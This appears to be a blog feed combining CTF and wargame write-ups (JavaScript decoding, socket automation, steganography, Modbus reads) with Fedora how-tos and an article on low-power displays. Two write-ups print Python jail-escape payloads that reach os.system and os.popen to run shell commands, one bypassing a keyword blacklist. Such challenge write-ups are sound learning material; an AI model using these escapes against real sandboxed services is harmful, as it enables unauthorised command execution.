Fonction qui manque définitivement d’une partie DECRYPT. On peut réécrire cette partie en refaisant les étapes dans le sens inverse :

if ('DECRYPT' == method) {
  var output = '';
  for (var i = 0; i < string.length; i+=2) {
    var hexCode = Buffer.from(string[i] + string[i+1], 'hex')[0];
    var charCode = 255 - hexCode
    if (128 > charCode) {
      charCode += 128;
    } else if (127 < charCode) {
      charCode -= 128;
    }
    output += String.fromCharCode(charCode)
  }
  return output
}

Il suffit alors d’appeler la fonction breizHash avec le message encodé pour obtenir le flag.

console.log(breizHash("3d25373c2b39044f1d390a4a1c4b484e4f11204e4a20114f48204a4c3c0a0d16480620084c131c4f124c200b4f20352c20084f0d131b02","DECRYPT"));

Ce qui nous donne le flag suivant :

BZHCTF{0bFu5c4710n_15_n07_53Curi7y_w3lc0m3_t0_JS_w0rld}

Breizh Coin Miner

Pour ce challenge, l’objectif est de trouver des valeurs de départ dont le hash sha512 commence par 1337. C’est le principe du proof-of-work utilisé par Bitcoin. La seule façon connue à ce jour est d’essayer plein de valeurs de départ aléatoires, les hasher et regarder si le hash obtenu commence par 1337.

Pour la complexité demandée, un simple programme en javascript suffit. Pour les valeurs aléatoires, je récupère 100 octets depuis /dev/urandom que j’encode en base64. C’est cette chaîne de caractères en base64 que je vais hasher. En effet, pour valider les résultats, il est nécessaire de communiquer avec le serveur en utilisant un protocole texte : si jamais la valeur générée contient un byte interprété comme un retour à la ligne, mon résultat sera tronqué. En utilisant des chaînes en base64, je suis sûr de ne pas avoir de retour à la ligne.

Le programme final :

const crypto = require('crypto');
const RandBytes = new require('randbytes');
const randomSource = RandBytes.urandom.getInstance();

function iterate() {
  return new Promise(function(resolve, reject) {
    randomSource.getRandomBytes(100, function (buff) {
      let gen = buff.toString('base64');
      const hash = crypto.createHash('sha512');
      hash.update(gen);
      const res = hash.digest('hex')
      if (res.substring(0,4) == "1337") {
        console.log(gen);
      }
      resolve();
    });
  });
}

async function loop() {
  while(true) {
    await iterate();
  }
}
loop();

Pour s’exécuter, il faut installer le paquet randbytes.

npm install randbytes

Ensuite, il suffit d’exécuter le script, de récupérer 42 valeurs et les envoyer au serveur.

node index.js

En échange, le serveur retourne le flag (que je n’ai pas noté).

Breizh Kartenn

Le challenge consistait à renvoyer le nom de la ville correspondant au code postal fourni. Il était plutôt buggé car il avait un comportement indéfini quand plusieurs villes avaient le même code postal. En effet, il acceptait uniquement une seule des villes pour un code postal donné mais sans règle claire.

À cela s’ajoute qu’en fonction de la couleur du texte envoyé, il fallait répondre un texte différent. Si le texte de la question était vert, il fallait renvoyer YA! Me gwel <nom de la ville> :), si il était rouge il fallait renvoyer NANN! Me ne gwel ket <nom de la ville> :/.

Pour ce qui est de la couleur du texte, il s’agit de codes spéciaux interprétés par les émulateurs de terminaux. Pour faire un essai :

echo -e "\e[92m vert \e[91m rouge \e[0m"

Ce sont donc ces caractères que l’on va chercher pour connaître la couleur du texte. Si vous voulez en savoir plus sur la couleur dans les terminaux, je vous recommande la lecture de Bash tips: Colors and formatting (ANSI/VT100 Control sequences).

Étant donné que l’on doit répondre à un service TCP avec un protocole texte, j’ai du utiliser la bibliothèque socket de python également. Cependant, faisant face à un protocole texte principalement fait pour être utilisé par un humain, il est difficile de savoir combien d’octets il faut lire avant d’avoir tout le message. Pour ma part, je me suis basé sur la présence du prompt ou de certains mots clés dans le buffer.

La correspondance ville-code postal a été récupérée depuis un site internet pointé par le challenge. J’ai converti le tout en CSV :

Yffiniac,22120
Vitré,35500
Vezin-le-Coquet,35132
Vern-sur-Seiche,35770
Vannes,56000
Trégunc,29910
Trégueux,22950
Thorigné-Fouillard,35235
Theix-Noyalo,56450
Séné,56860
...

Enfin le code python consistait à mettre en place toutes les solutions évoquées précédemment :

import csv, socket, re

def read_until(st, token):
    data = b''
    while token not in data and b'BZHCTF' not in data and b'bzhctf' not in data and b'KENAVO' not in data:
        data += st.recv(8096)

    return data

mes_villes = {}
with open('villes-code-postaux.csv', newline='') as csvfile:
    csv_reader = csv.reader(csvfile, delimiter=',', quotechar='|')
    for row in csv_reader:
        mes_villes[row[1]] = row[0]

st = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
st.connect(("148.60.87.243", 9400))

msg = read_until(st, b'<ENTER>')
print(msg.decode('utf-8'))

st.send(b'\n')

while True:
    msg = read_until(st, b'>>')
    print(msg.decode('utf-8'))
    if b'bzhctf' in msg or b'BZHCTF' in msg or b'KENAVO' in msg:
        break

    vert = b'\x1b[92m' in msg
    rouge = b'\x1b[91m' in msg

    msg = msg.decode('utf-8')
    postcode = re.search(r"(\d+)\?", msg).group(1)

    reponse = ""
    if vert:
        reponse = "YA! Me gwel "+mes_villes[postcode]+" :)\n"
    else:
        reponse = "NANN! Me ne gwel ket "+mes_villes[postcode]+" :/\n"

    st.send(bytes(reponse, 'utf-8'))
    print(reponse)

Au bout d’un certain nombre de bonnes réponses, on obtient le flag (que je n’ai pas noté).

Breizh Path

Tout comme le challenge précédent, BreizhPath nécessite d’interagir avec un protocole texte relativement pratique pour un humain mais pas nécessairement facile à automatiser. Certaines parties du texte sont colorées, ajoutant à la difficulté.

Le but de ce challenge est de trouver le chemin le plus court entre deux points d’une carte représentée par un quadrillage possédant des murs. Il nous faut donc un algorithme de “path finding”, on peut citer entre autre Breadth First Search, Dijkstra ou encore A*. Pour plus d’informations sur ces algorithmes, je recommande Introduction to A*.

Pour gagner du temps, on peut récupérer l’implémentation python sur la page dédiée.

Ensuite il nous reste à récupérer le labyrinthe depuis le socket, le stocker dans un format de donnée compatible avec notre implémentation, puis récupérer le résultat et le convertir au format attendu.

Voilà à quoi pouvait ressembler une carte :

 -  -  -  -  -  -  -  -  -  - 
 -  -  -  -  -  -  -  -  -  - 
 K  B  -  -  -  -  -  -  -  - 
 -  B  B  B  -  B  B  B  -  - 
 -  B  B  -  B  B  B  B  -  - 
 -  B  B  B  B  S  B  B  B  - 
 B  B  B  B  B  B  B  -  -  - 
 B  B  B  B  B  B  -  -  -  - 
 B  B  -  -  B  -  -  -  -  - 
 B  B  -  -  -  -  -  -  -  -

Il faut donc trouver le chemin le plus court de S à K. Dans ce cas, il fallait aller 4 fois à gauche puis 3 fois en haut puis 1 fois à gauche. On nous dit que :

haut = i
bas = k
gauche = j
droite = l

La réponse attendue est donc jjjjiiij.

Pour l’implementation, j’ai utilisé Dijkstra, mais A* aurait été suffisant et aurait nécessité moins de ressources. On suppose que le fichier implementation.py contenant A* et Dijkstra fourni par Red Blob Games se trouve dans le même dossier que notre solution.

from implementation import GridWithWeights, dijkstra_search, reconstruct_path
import sys, socket

st = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
st.connect(("148.60.87.243", 9500))
data = ""
while "<ENTER>" not in data:
    data = st.recv(200000).decode("utf-8")
    print(data)

st.send(b'\n')

def convert_path_to_relative_moves(p):
    if len(p) < 2:
        return ''

    dx = p[0][0] - p[1][0]
    dy = p[0][1] - p[1][1]
    if dx < 0: # right
        return 'l'+convert_path_to_relative_moves(p[1:])
    elif dx > 0: # left
        return 'j'+convert_path_to_relative_moves(p[1:])
    elif dy < 0: # bottom
        return 'k'+convert_path_to_relative_moves(p[1:])
    elif dy > 0: # up
        return 'i'+convert_path_to_relative_moves(p[1:])

while True:
    # get input
    data = b''
    while  b'New path to find' not in data and b'Out of the Grid' not in data:
        data += st.recv(8096)
    data = data.decode("utf-8").strip()
    print(data)
    if "No next step" in data:
        st.close()
        sys.exit(1)

    # parse input
    x, y, walls, weights, k, s = 0, 0, [], {}, None, None
    for line in data.split("\n"):
        if "STEP" in line or "New path":
            continue
        line = line.split()
        if len(line) < 1:
            continue
        x = 0
        while x < len(line):
            if '-' in line[x]:
                walls.append((x,y))
            else:
                if 'K' in line[x]:
                    k = (x, y)
                elif 'S' in line[x]:
                    s = (x, y)

                weights[(x,y)] = 1
            x += 1
        y += 1

    # create data structure
    diagram5 = GridWithWeights(x, y)
    diagram5.walls = walls
    diagram5.weights = weights

    # compute path
    came_from, cost_so_far = dijkstra_search(diagram5, s, k)
    path = reconstruct_path(came_from, s, k)
    answer = convert_path_to_relative_moves(path)
    print(answer)

    st.send(bytes(answer+"\n", "utf-8"))

s.close()

Ce qui permet d’obtenir le flag :

BZHCTF{1_w45_br0k3_bu7_n0_m0r3}

Cuvée d’exception

Une fois connecté à ce challenge en telnet, on était dans une jail python. On nous demandait de déclencher 35 exceptions Python différentes. Bien entendu, impossible de lever ses propres exceptions. J’ai commencé par essayer ce qui me passait par la tête :

throw
throw "e"
5/0
5[5]
[][3]
{}['t']a
	e

Mais impossible d’en trouver d’autres.

On a donc décidé de voir s’il n’était pas possible de sortir de la jail. Notre point de départ était l’article BreizhCTF 2016 – Write-Up – PyJail 1, 2, 3 d’Intrinsec.

Malheureusement pas de clé _module dans dans la classe warnings.catch_warnings.

En cherchant, Maximilien a trouvé un article nommé Python Sandbox Escape (en chinois !) qui nous a permis de trouver l’inspiration. Nous avons finalement trouvé une variable qui contenait le module os qui nous a permis d’exécuter des commandes et, finalement, de lire le flag.

La jail possède une liste noire de mots clés, dont os. Il existe plusieurs solutions pour contourner cette limitation quand il s’agit d’une chaine de caractère, comme une concaténation : 'o'+'s' ou encore en utilisant les codes ASCII '\x6F\x73'.

Finalement, la ligne suivante nous a permis de lire le flag :

print  ()\
        .__class__ \
        .__base__ \
        .__subclasses__()[59] \
        .__init__ \
        .func_globals['linecache'] \
        .__dict__['o'+'s'] \
        .__dict__['system']('cat *')

Ce qui permet d’obtenir le flag :

BZHCTF{y0u_kn0w_by_n0w_4_l177l3_b17_m0r3_4b0u7_d1ff3r3n7_py7h0n_exceptions_4nd_m4yb3_m0r3}

Et voilà, c’est tout !

Recharger sa carte Korrigo sur Fedora

Mon, 15 Jan 2018 00:00:00 +0100

La STAR, la Société de Transport de l’Agglomération Rennaise, propose à la vente des lecteurs de carte pour pouvoir recharger votre carte depuis chez vous. Pour cela, elle a fait le choix d’utiliser une application Java Web Start, qui fonctionne sous Windows, Mac OS et… Linux ! Pour autant, la procédure n’est pas totalement directe.

Installer les dépendances

sudo dnf install pcsc-lite-ccid pcsc-tools icedtea-web

Si vous rencontrez des problèmes à l’étape “Utilisez l’applet Java Web Start”, vous pouvez essayer d’installer le Java d’Oracle. Rendez-vous sur la page de téléchargement d’Oracle et choisissez Linux x64 RPM (ou Linux RPM si vous avez une installation 32 bits).

Une fois téléchargé, executé la commande suivante dans le répertoire de téléchargement :

sudo dnf install jre-8u151-linux-x64.rpm

Puis remplacez par la suite toutes les occurences de javaws par :

/usr/java/jre1.8.0_151/bin/javaws

Test du lecteur

Vous devez probablement être dans le groupe dialout pour utiliser votre lecteur USB :

sudo usermod -a -G dialout votre_nom_d_utilisateur

Vous allez également devoir démarrer le daemon pcscd :

sudo systemctl start pcscd

Vérifiez que votre carte est bien détectée en lançant :

pcsc_scan -n

Utiliser l’applet Java Web Start

Avant toute chose, il faut savoir que Java cherche la lib sous le nom de libpcsclite.so et non pas libpcsclite.so.1. Nous allons donc exécuter la commande suivante :

sudo ln -s /usr/lib64/libpcsclite.so.1 /usr/local/lib64/libpcsclite.so

Ensuite, connectez-vous sur votre compte STAR, et cliquez sur “Lire ma carte”. Puis sur le bouton commencer, le site va vous proposer de télécharger un fichier en .jnlp. Une fois téléchargé, exécutez le comme suit :

javaws Application-KorriGo-STAR.jnlp

Normalement le site va détecter votre lecteur puis votre carte.

Bon courage !

Affichages inertes

Tue, 28 Nov 2017 00:00:00 +0100

Ce que j’appelle affichage inerte, à défaut de connaître le vrai terme, correspond à des techniques d’affichage ne demandant pas ou peu d’électricité quand le contenu n’est pas mis à jour. Je me suis mis à la recherche de ces dernières car elles pourraient être très pratiques pour créer un affichage peu souvent mis à jour, comme pour de la surveillance (monitoring), pour des outils d’intégrations continus (comme Jenkins), des emails, des rappels, la météo, etc.

Affichage à palettes

Gare du Nord - L.Willms - CC-BY-SA - Wikipedia

Aussi appelés split flap, flap board ou encore Solari board, ces afficheurs étaient initialement construits par l’entreprise italienne, Solari Di Udine. Encore aujourd’hui, ils sont chers à l’achat. On en retrouve principalement dans les gares bien qu’ils aient tendance à disparaître. En effet, ils seraient chers à maintenir et renderaient la circulation difficile à cause de l’accumulation des voyageurs autour de ces panneaux.

Le cliquetis qu’ils émettent est souvent considéré comme un atout, car il permet de signifier une mise à jour de l’affichage. Aux Etats-Unis, ce dernier a été adapté pour un affichage LED dans une gare de Boston.

On peut trouver plusieurs oeuvres d’art s’inspirant de ce concept, dont une à Stanford où, plutôt que de mettre des lettres sur les palettes, l’artiste les a peintes de différentes couleurs :

D’un point de vue commercial, ils sont encore produits mais seulement au cas par cas, et sont très probablement beaucoup plus couteux que des écrans traditionnels. Un designer anglais, Tom Lynch et une entreprise, OatFoundry se proposent d’en vendre :

Mais peut-on en fabriquer un soit-même ? Certains ont réussi. Mais pour commencer, comment ça marche ? Chaque palette possède sur sa face avant la partie haute d’un signe, et sur sa face arrière, la partie basse du signe suivant. Un élément retient la palette du haut pour que les deux palettes puissent être à la verticale et reconstituer le signe.

Brevet - E. Cappellari - Wikipedia

Certaines personnes ont posté des vidéo sur Youtube de systèmes qu’elles ont réussi à récupérer. Après une recherche rapide, je n’ai rien trouvé en seconde main. Par contre il existe plusieurs guides pour en construire un de zéro :

Split Flap Display par Jonathan Odom proposant un kit complet avec une finition exemplaire
splitflap par Scott Bezek est un projet assez poussé, proposant des solutions pour construire l’objet avec peu de moyens.
Dead simple split flap display par Piotr K. est un guide avec peu d’étapes et en impression 3D mais ne propose pas de boitier.
Split Flap Display par mlo propose un afficheur en bois et avec des feuilles pour commencer, avec un journal de construction.

Avec beaucoup de motivations, certains ont réussi à créer des choses impressionnantes :

Si vous voulez en connaitre plus sur l’histoire de ces machines, je vous recommande le Webdoc d’AriaDR, réalisé dans le cadre d’un projet destiné à recenser et étudier les innovations oubliées, abandonnées, délaissées ou résurgentes. Ce dernier retrace l’histoire de ces panneaux de leur création à aujourd’hui.

Girouette à pastilles

Bus au départ - ŠJů - CC-BY-SA - Wikipedia

On les retrouve aussi sous les noms Flip-dots display et Flip-disc display. Ces affichages se retrouvent beaucoup dans la signalétique des transports en commun, particulièrement les bus. Ils ont été développé par Ferranti-Packard, une filiale canadienne de Ferranti, à la demande d’Air Canada, mais utilisé la première fois par la bourse de Montréal en 1961.

D’un point de vue industriel, seule l’entreprise polonaise AlfaZeta semble produire encore ces dispositifs pour autre chose que l’évènementiel / l’aspect retro. L’entreprise Breakfast NY (vidéo) ne précise pas si elle produit elle-même les panneaux ou si elle se base sur les panneaux d’AlfaZeta pour ses produits (capture d’image et raffraichissement à 30 images par seconde).

Pour ce qui est du fonctionnement, chaque pastille correspond à un pixel. D’un côté la pastille est noire, de l’autre elle est peinte d’une couleur flurorescente. La pastille possède un aimant, on obtient sa rotation en faisant passer de l’electricité dans un fil pour soit attirer l’aimant, soit le repousser.

Image extraite du site web d’AlfaZeta

Pour ce qui est de fabriquer soit même son afficheur girouette à pastilles, cela semble plus compliqué, à ce jour je n’ai trouvé aucun guide pour en réaliser un de zéro. En effet, l’élément de base semble être souvent l’afficheur AlfaZeta Flip-Dot Boards XY5 7x28. Malheureusement le prix n’est pas public. Une autre possibilité est de récupérer des afficheurs de bus et de faire de la rétro ingénierie comme pour le projet Dottie.

Bon courage si vous souhaitez vous lancer dans un tel projet donc !

Afficheur 7 segments mécaniques

En anglais “mechanical seven-segment display”, à ne pas confondre avec les autres affichages 7-segments qui nécessitent d’être alimentés en permanence. C’est probablement le dispositif le moins cher à produire de cet article. Par contre il ne permet d’afficher que des nombres.

On peut trouver plusieurs guides pour les fabriquer soit même, avec des briques Lego, ou des pièces en pastiques imprimées. L’idée est d’avoir, sur un fond noir, des segments fluorescents que l’on tourne de 90°C lorsqu’on ne veut pas les afficher.

Un exemple de réalisation DIY : Servo Driven 7-segment Display

Ceci dit, on peut trouver ces pièces pour environ 10$. Il est intéressant de noter que AlfaZeta vend également des afficheurs 7-segments mécaniques de différentes tailles. Par contre, je n’ai trouvé aucun afficheur 14-segments mécaniques. Il n’est donc pas possible d’afficher des lettres.

Un grand affichage 7-segments AlfaZeta

Online Fedora Upgrade

Sat, 25 Nov 2017 00:00:00 +0100

I have installed Fedora on my computer 3 or 4 years ago. Since this installation, I have installed many packages and upgraded it every 6 months. Unfortunately, Gnome Software has never worked for me, and I never took the time to debug it. Like many people, I am using the old method with dnf-system-upgrade, which worked pretty well. But this time, I had a segfault on dnf during the offline upgrade. The only information I got was the following lines:

kernel: dnf[846]: segfault at 8 ip 00007f39b860f724 sp 00007ffd00588520 error 4 in libc-2.25.so[7f39b8586000+1cb000]
systemd[1]: dnf-system-upgrade.service: Main process exited, code=dumped, status=11/SEGV
systemd[1]: Failed to start System Upgrade using DNF.

Just after the segfault, my computer rebooted on Fedora 26.

How dnf-system-upgrade works

Some information presented here could be not totally accurate. If you have a doubt, please follow the links.

dnf-system-upgrade uses a feature of systemd described here: Implementing Offline System Updates. By creating a symlink named /system-update, at the next reboot systemd will boot to a specific target named system-update.target. That’s what we name “an offline upgrade” contrary to an upgrade run in the default.target which I call “an online upgrade”.

But when will this symlink created ? When you run the following command:

dnf system-upgrade reboot

We can see in the source of the plugin that a symlink pointing to a dnf folder is created:

DEFAULT_DATADIR = '/var/lib/dnf/system-upgrade'
MAGIC_SYMLINK = '/system-update'

# ...
os.symlink(DEFAULT_DATADIR, MAGIC_SYMLINK)
# ...
reboot()

We can now investigate which services are triggered by this target:

$ ls /usr/lib/systemd/system/system-update.target.wants/
dnf-system-upgrade.service  fwupd-offline-update.service  packagekit-offline-update.service

We are specifically interested by dnf-system-upgrade.service which basically run the following command:

dnf --releasever=27 system-upgrade upgrade

At the end of this script, the symlink /system-update is destroyed and the computer rebooted.

Upgrading online to bypass the bug

I didn’t have any idea to debug this segfault in the offline mode. So I searched a way to run this command on an online system. If the command segfaults, I’ll have some tools to investigate it. If the command works, I’ll have an upgraded system. In my case, once run online, everything went well.

Before typing any command, you must know that this tool is not intended to be run this way. You may break your Fedora installation or kill your family. You really should run all your commands in a virtual terminal as it will not kill dnf if Gnome crashes during the install.

First, you must have downloaded the update:

dnf upgrade --refresh
dnf system-upgrade download --releasever=27

For more information, you can refer to the article Upgrading Fedora 26 to Fedora 27

Then, you will need to update dnf-system-upgrade configuration stored in /var/lib/dnf/system-upgrade.json and set “upgrade_status” to “ready”:

{
  "download_status": null,
  "upgrade_status": "ready", <--- this line
  "exclude": [],
  "allow_erasing": true,
  "datadir": "/var/lib/dnf/system-upgrade",
  "distro_sync": true,
  "best": false,
  "target_releasever": "27",
  "system_releasever": "26",
  "releasever": "23",
  "install_packages": {},
  "enable_disable_repos": []
}

You must create the /system-update symlink, otherwise the upgrade command will fail:

ln -s /var/lib/dnf/system-upgrade /system-update

And finally, you can run the upgrade command:

dnf --releasever=27 system-upgrade upgrade

Your computer will automatically reboot at the end. Now you’ll have either a working Fedora 27 or a broken Linux distribution. Good luck and have fun !

Write-Up Wargame Nuit du Hack XV

Sun, 25 Jun 2017 00:00:00 +0200

J’ai participé en équipe sous le nom de The Magic Modbus (vous comprendrez en lisant la suite de cet article) au wargame de la Nuit du Hack et aux challenges Intrinsec.

Les règles sont simples : trouvez les flags cachés dans les challenges pour gagner des points. Plus vous êtes rapide pour valider un flag, plus vous gagnez de points. Les flags sont des chaînes de caractères commençant par ndh2k17.

Dans cet article, je détaille le chemin suivi pour les challenges auxquels j’ai contribué à trouver la solution. Vous trouverez l’explication d’autres challenges par d’autres membres de mon équipe :

NdH XV Wargame Write-Up: Tic-Tac-Toe (web) par Lesterpig (en)
Wargame NDH XV - Write-Up Radio Three par Elykar (fr)

Intrinsec : Escape from pyjail to MARS

Au moment de l’écriture de ce Write-Up, il est encore possible d’accéder aux challenges Intrinsec

On commence le challenge par la ligne suivante, une connexion TCP sur le port 8001 sur un serveur d’Intrinsec :

nc ndh.intrinsec.com 8001

Lors de la connexion, on a le prompt suivant :

Welcome soldier, hope that you speak base64 fluently !
b64_Snake >>>

On sait donc que l’on va devoir communiquer en base64 avec un shell python. Cependant le fait de convertir une simple expression python en base64 cause l’erreur suivante :

You should tell this to the marshal.

Après plusieurs essais, nous nous penchons sur la classe marshal qui permet de serializer des objets. On aboutit alors à la fonction d’encodade suivante :

import marshal
import base64

def encode(a):
  return base64.b64encode(marshal.dumps(a))

Pour la suite, nous nous sommes basés sur le Write-Up du BreizhCTF 2016 d’Intrinsec.

On a donc :

code = """
wclass = ().__class__.__base__.__subclasses__()[59]()
print wclass._module.__builtins__['__import__']('os').popen("ls -alR &amp;&amp; cat chall/*").read()
"""

print encode(code)

On peut alors récupérer le code du serveur :

#!/usr/bin/python

from marshal import loads
from base64 import b64decode


def exec_sand(payload):
    try:
        m_object = loads(payload)
    except Exception:
        print "You should tell this to the marshal."
    else:
        exec m_object in scope

scope = {"__builtins__": {"dir": dir}}


print "Welcome soldier, hope that you speak base64 fluently !"
while True:
    try:
        user_input = ""
        user_input = raw_input("b64_Snake >>> ")
        print "\nYOUR OUTPUT : "
        try:
            byte_code = b64decode(user_input)
        except Exception as e:
            print "Error_b64decode :: " + str(e)
        else:
            exec_sand(byte_code)
        finally:
            pass
    except Exception as e:
        print e

Pour la suite du challenge, c’est le fichier space.asm qui nous intéresse. Il contient un assembleur inconnu :

# code to run on MARS
    .data
MEM: .space 112
CHAINE0: .asciiz "\nASCII :: "
CHAINE1: .asciiz " "
CHAINE2: .asciiz "\n"
    .text
main:    la $30, MEM
    li $8, 18
    sw $8, 4($30)
    li $8, 55
    sw $8, 20($30)
    li $8, 42
    sw $8, 8($30)
    li $8, 34
# ...

En recherchant les instructions sur Google, on comprend qu’il s’agit d’une architecture MIPS. En s’intéressant à ce que notre gestionnaire de paquet nous propose sur MIPS :

dnf search mips

On trouve un paquet qui se nomme Mars :

Nom         : Mars
Architectur : noarch
Époque      : 0
Version     : 4.5
Révision    : 3.fc24
Taille      : 3.3 M
Dépôt       : @System
Depuis le d : fedora
Résumé      : An interactive development environment for programming in MIPS assembly language
URL         : http://courses.missouristate.edu/KenVollmar/MARS/
Licence     : MIT
Description : MARS is a lightweight interactive development environment (IDE) for
            : programming in MIPS assembly language, intended for educational-level
            : use with Patterson and Hennessy's Computer Organization and Design.

En exécutant notre code dans cet environnement de développement, on peut récupérer le flag pour remporter l’épreuve.

Intrinsec : Modbus

Pour Modbus, nous avons également une adresse et un port TCP :

ndh.intrinsec.com:5020

On apprend sur Wikipedia que Modbus est un protocole ouvert pour faire communiquer des automates industriels.

Il permet de lire ou d’écrire plusieurs valeurs sur des automates connectés à un serveur. Souvent la requête consiste à dire où l’on veut lire : discrete inputs, coils, input registers ou holding registers.

Pour communiquer avec le serveur qui nous est donné, nous avons utilisé la bibliothèque python pymodbus :

dnf install pymodbus

Pour commencer, nous avons suivi la documentation de la bibliothèque, particulièrement l’exemple d’un client synchrone pour se familiariser avec la bibliothèque.

Nous n’avons pas trouvé tout de suite des informations intéressantes, nous avons donc utilisé le code d’un Scraper Modbus fourni par la documentation qui nous a permis de trouver des valeurs qui se convertissaient bien en ascii. Ce dernier ne récupérant que 8 caractères, nous n’avions pas le flag entier. Nous avons par contre modifié le parser pour afficher l’appel exact réalisé.

Nous avons pu ensuite écrire le script suivant pour récupérer le flag :

from pymodbus.client.sync import ModbusTcpClient as ModbusClient

with ModbusClient('ndh.intrinsec.com', 5020) as client:
    rr = client.read_input_registers(0, 21, unit=1)
    print ''.join([chr(x) for x in rr.registers])

Le flag était donc stocké dans un input register, peu importe l’unit et il fallait récupérer les valeurs depuis 0, jusqu’à 21. Ensuite on convertit le tableau de bytes en tableau de char que l’on transforme en string.

NDH : So so funny

Ce challenge nous a donné plus de fil à retordre que prévu. Nous partions d’un PDF sur Kev Adams.

Nous avons commencé par extraire l’image, un fichier jpg. Nous avons regardé si des informations n’étaient pas cachées dedans en changeant la luminance, ou ajoutées à la fin du fichier mais rien.

En revenant sur l’analyse du fichier PDF en lui même, nous découvrons plusieurs polices au nom étrange (Comic Sans Kev2, Comic Sans Gad). Nous les extrayons avec l’outil pdf-parser.py mais rien de concluant.

Au final, nous finissons pas tenter l’outil pdftotext qui permet d’extraire le texte d’un PDF. Nous trouvons alors un indice, le texte suivant n’est pas affiché dans le PDF :

sha1sum(Kev-is-my-god)

Ce qui nous permet d’obtenir le flag :

echo "Kev-is-my-god" |sha1sum
3d723704f9c1aa8d3ff8b6bcb71c0fa2558f47e2 -

Le flag final est donc le hash sha1 avec ndh2k17_ devant :

ndh2k17_3d723704f9c1aa8d3ff8b6bcb71c0fa2558f47e2

NDH : So easy

Pour ce challenge, nous partions de l’image suivante :

Aucun outil particulier n’a été nécessaire pour ce challenge à part The Gimp. On reconnait un empilement de text étiré en bas à gauche de l’image ainsi que plusieurs nombres. Ils semblent indiquer dans quel ordre lire les différents textes étirés, qui sont donc tournés selon un certain angle.

Je commence donc part isoler ce bout de l’image et à y appliquer les différentes rotations (outil sélection et rotation de Gimp) :

Ensuite, on peut soit baisser son écran pour lire le texte, soit redimensionner les images (outil de mise à l’échelle). L’idée étant de réduire la hauteur et d’augmenter la largeur :

NDH : jam

Le challenge commence par le téléchargement d’un fichier binaire inconnu qui se nomme chall. On commence par essayer de deviner ce que c’est :

$ file chall
chall: romfs filesystem, version 1 104694992 bytes, named rom 59408f02.
$ mkdir chall_fs && sudo mount ./chall ./chall_fs
$ ls -lah chall_fs
drwxr-xr-x. 1 root    root      32  1 janv.  1970 1jJMM
-rw-r--r--. 1 root    root    4,4K  1 janv.  1970 1vSa
-rw-r--r--. 1 root    root     13K  1 janv.  1970 2YUDgfHb
-rw-r--r--. 1 root    root    5,5K  1 janv.  1970 3Hv
-rw-r--r--. 1 root    root       1  1 janv.  1970 3hYMJS8
-rw-r--r--. 1 root    root       1  1 janv.  1970 4L
-rw-r--r--. 1 root    root     12K  1 janv.  1970 4SN1HuPY
...

Nous avons donc un système de fichier. Un seul fichier possède un nom avec du sens, il s’appelle init et contient :

FILETYPE="PNG"

On suppose donc que le fichier à trouver est un fichier PNG. Cependant, il y a beaucoup trop de fichiers pour les vérifier un à un manuellement. J’ai fait le choix d’automatiser la recherche avec python :

from os import listdir
from os.path import isfile, join
import magic

def rec_type(mypath):
    [rec_type(mypath + '/' + f) for f in listdir(mypath) if not isfile(join(mypath, f))]

    onlyfiles = [f for f in listdir(mypath) if isfile(join(mypath, f))]
    for f in onlyfiles:
        with magic.Magic() as m:
            content = m.id_filename(mypath + '/' + f)
            if "PNG" in content:
                print mypath + '/' + f + ': ' + content

rec_type('./chall_fs')

Nous trouvons bien un seul fichier qui contient une image PNG et cette image contient le flag que nous cherchons.

NDH : Cul air code

Ce challenge commence avec une image :

En utilisant l’outil zsteg on se rend compte qu’un PNG est caché à la fin de l’image.

$ zsteg chOll.png
...
extradata:0         .. file: PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced
...

En l’extrayant, on obtient un PNG blanc de 30x30 pixels mais qui contient une autre image PNG à sa fin, etc. On décide donc d’automatiser l’extraction des images PNG :

 for i in {1..200}
 do
   echo grumpy${i}.png grumpy$((i+1)).png
   zsteg grumpy${i}.png -E extradata:0 > grumpy$((i+1)).png
 done

Pour que ce script fonctionne, votre image de départ doit s’appeler grumpy1.png.

On obtient donc un puzzle :

Ce dernier, sans indication est trop compliqué à résoudre à la main. En regardant les données exif des fichiers générés, on trouve sa position dans le puzzle :

$ exiftool ./grumpy/grumpy4.png
...
User Comment                    : position: 6,9
...

Il aurait été judicieux d’écrire un script pour reconstituer l’image à partir de ces données exif. Pour ma part, j’ai utilisé Gimp avec une grille en 30x30 aimantée. Une fois le QR Code reconstitué, ce dernier nous renvoit vers un lien Pastebin qui contient des informations encodées en base64. On peut décoder ces informations pour retrouver le binaire original comme suit :

wget https://pastebin.com/raw/F1Y26KDJ -o content.txt
base64 -d < content.txt > content.dat
file content.dat

On comprend alors que le fichier est une image PNG. En l’ouvrant, il est possible de lire une phrase avec des mots en couleur. En réduisant la luminance dans GIMP sous Teintes-Saturation, certaines lettres et chiffres apparaissent d’une couleur différente :

Enfin, en regardant les données EXIF du fichier récupéré, on trouve :

0002ece0  df 84 fa 39 ff d8 00 00  00 2f 69 54 58 74 43 6f  |...9...../iTXtCo|
0002ecf0  6d 6d 65 6e 74 00 00 00  00 00 78 6f 72 28 9a 29  |mment.....xor(.)|
0002ed00  15 2c 05 0d 7a 6a b9 79  16 2d 2a 08 3f 5e 9a 7e  |.,..zj.y.-*.?^.~|
0002ed10  48 4d 29 4e 7e 01 80 79  1a 2a 5f 52 29 45 78 08  |HM)N~..y.*_R)Ex.|

En réalisant un XOR entre les éléments en paranthèse et la “clé” en rose, on commence à obtenir notre flag :

0x9a ^ 0xf4 = 'n'
0x29 ^ 0x4d = 'd'
0x15 ^ 0x7d = 'h'
...

Pourtant en arrivant au bout de la clé, le décodage ne fonctionne plus si on reprend au début de cette dernière. Nous avons donc pour le moment :

ndh2k1

Nous connaissons les deux éléments suivants : 7 puis underscore. Nous retrouvons donc les deux octets manquants qui permettent de compléter notre clé de décodage. Ensuite, il suffit de recommencer au début de la clé pour déchiffrer la suite.

Notre équipe a fini 8ème du Wargame, une très bonne surprise. Nous espérons pouvoir retenter l’aventure l’année prochaine, et qui sait, faire mieux ?

Debugguer Battle.net

Sat, 25 Feb 2017 00:00:00 +0100

J’ai rencontré un bug assez coriace sur le client Battle.net. Cet article peut vous intéresser si vous aussi vous rencontrez l’erreur suivante :

Nous rencontrons un problème de transfert des données. Veuillez vérifier l’état de votre connexion Internet et réessayer.

Et en image (cliquez dessus pour l’agrandir) :

La solution

Pour ceux qui seraient pressés, il suffit d’arrêter toutes les instances de Battle.net puis de supprimer les dossiers suivants :

